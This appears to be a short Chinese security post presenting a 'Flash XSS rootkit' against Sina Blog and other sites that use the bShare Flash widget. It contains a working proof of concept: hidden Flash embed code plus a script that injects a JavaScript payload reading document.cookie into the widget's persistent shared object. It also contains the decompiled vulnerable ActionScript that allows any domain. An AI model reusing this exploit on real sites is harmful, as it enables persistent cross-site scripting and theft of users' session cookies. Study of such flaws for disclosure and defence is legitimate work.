新浪博客Flash XSS Rootkit(博客通杀+部分其他站点)

<object id="bshareFS" type="application/x-shockwave-flash" data="http://static.bshare.cn/flash/bfc.swf" width="0" height="0">
 <param name="movie" value="http://static.bshare.cn/flash/bfc.swf">
 <param name="allowScriptAccess" value="always">
 <param name="allowNetworking" value="all">
 </object>
 
 
 <script>
 
 function set(){
  document.getElementById('bshareFS').bSyncInfo('//";alert(document.domain+document.cookie);//a');
 }
 
 
 //function get(){aa.getlso();}
 
 setTimeout("set()",2000);
 
 //setTimeout("get()",2100);
 
 
 </script>

public function syncInfo(param1:String = "", param2:String = "bshare", param3:Boolean = false) : String
         {
             var _loc_4:SharedObject = null;
             try
             {
                 _loc_4 = SharedObject.getLocal("buzz-" + param2);
                 if (_loc_4.data.hasOwnProperty("bInfo") && _loc_4.data.bInfo)
                 {
                     if (param1)
                     {
                         if (_loc_4.data.bInfo !== param1)
                         {
                             if (param3)
                             {
                                 _loc_4.data.bInfo = param1;
                                 _loc_4.flush();
                             }
                             else
                             {
                                 return _loc_4.data.bInfo;
                             }
                         }
                     }
                     else
                     {
                         return _loc_4.data.bInfo;
                     }
                 }
                 else if (param1)
                 {
                     _loc_4.data.bInfo = param1;
                     _loc_4.flush();
                 }
             }
             catch (e:Error)
             {
             }
             return "";
         }// end function
 
         function frame1()
         {
             Security.allowDomain("*");
             Security.allowInsecureDomain("*");
             addEventListener(Event.ENTER_FRAME, this.registerExternalCallbacks);
             return;
         }// end function